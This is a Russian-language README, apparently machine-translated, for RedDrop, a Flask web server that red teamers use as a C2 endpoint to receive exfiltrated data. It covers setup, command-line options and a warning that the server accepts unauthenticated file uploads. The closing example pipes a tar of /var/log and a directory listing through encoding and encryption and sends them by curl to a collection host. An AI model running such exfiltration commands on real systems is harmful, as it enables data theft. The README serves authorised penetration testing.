
Python Flask веб-сервер для захвата, обработки и логирования закодированных/зашифрованных полезных нагрузок и tar-архивов, предназначенный для пентестеров и специалистов красных команд в качестве конечной точки эксфильтрации C2.

Ознакомьтесь с сопутствующим постом в блоге MaverisLabs здесь!
Сервер эксфильтрации RedDrop — это веб-сервер на Python Flask для пентестеров, участников красных команд и специалистов по безопасности, который предлагает:
Это программное обеспечение предназначено для использования в качестве примитивного C2-эндпоинта для захвата данных веб-запросов в различных сценариях. Некоторые примеры могут включать:

Этот проект находится в разработке, и некоторые функции могут содержать ошибки. Если вы столкнулись с проблемами, пожалуйста, откройте Issue!
Это программное обеспечение не следует оставлять общедоступным для широкого Интернета. Оно создано с умышленной уязвимостью, которую некоторые могут счесть произвольной загрузкой файлов, и будет принимать и сохранять файлы на локальный диск без аутентификации. Следует проявить должную осмотрительность, чтобы система, на которой развернуто это ПО, была должным образом защищена. Несколько рекомендаций:
mkdir uploads logs
docker run --rm -t -v "$PWD/uploads:/reddrop/uploads" -v "$PWD/logs:/reddrop/logs" -p "80:80" --name reddrop cyberbutler/reddrop -h
pip install --user pipenv
pipenv install
pipenv shell
python reddrop-server.py -h
python reddrop-server.py -h
A Webserver for File and Data Exfiltration.
Author: @cyberbutler/@thecyberbutler
optional arguments:
-h, --help show this help message and exit
--host HOST, -H HOST The host IP Address to bind to (default:
0.0.0.0)
--port PORT, -P PORT The port to bind to (default: 80)
-c CONFIG, --config CONFIG
YAML config file path (default: None)
--dump-config Dump the configuration settings as YAML
(default: False)
--debug Enable Flask's Debug Mode (default: False)
-p {hex,openssl-aes256-pbkdf2,gzip,b64}, --processor {hex,openssl-aes256-pbkdf2,gzip,b64}
Specify a processor to use. This flag can
be used more than once to define multiple
process_list functions. Use this flag in
the order in which you wish to process
received data (default: [])
-A, --auto-process, --no-auto-process
Automatically run processors based on
detected data. This option is enabled by
default, but should be disabled (--no-
auto-process) when you receive output you
don't expect. Such as in the case of
Base64 decoding being run on output that
is not Base64 encoded. Instead, force the
process with the `-p` flag. (default:
True)
--auto-extract-tar, -x
Auto extract TAR archives received by the
server. (default: False)
--encryption-password PROCESSOR_ARGUMENTS.OPENSSL-AES256-PBKDF2.PASSWORD
The password used to decrypt/encrypt.
(default: EncryptMe)
-r AUTHORIZATION_RULES, --authorization_rules AUTHORIZATION_RULES
Specify an Authorization Rule to deny
requests which do not match the provided
Key and Regex value pair. Specified as
<Key>=<Regex>. (default: None)
-t TAGS, --tag TAGS Tag data received during this session in the logs as well as the directory files are uploaded to. Example:
-t log4j -t acme.org (default: None)
--tls-keyfile GUNICORN.KEYFILE
Enables TLS Support. (Production Only) The path to a TLS key file (default: None)
--tls-certfile GUNICORN.CERTFILE
Enables TLS Support. (Production Only) The path to a TLS cert file (default: None)
Far more configuration options exist which must be specified in Environment Variables, use `--dump-config` to see all of the options
tar cz /var/log | base64 | xxd -ps | gzip | openssl enc -aes-256-cbc -pass 'pass:EncryptMe' -e -a -pbkdf2 | curl 172.17.0.1$PWD -F 'logs=@-' -F "listing=`ls -al * | gzip | base64`"
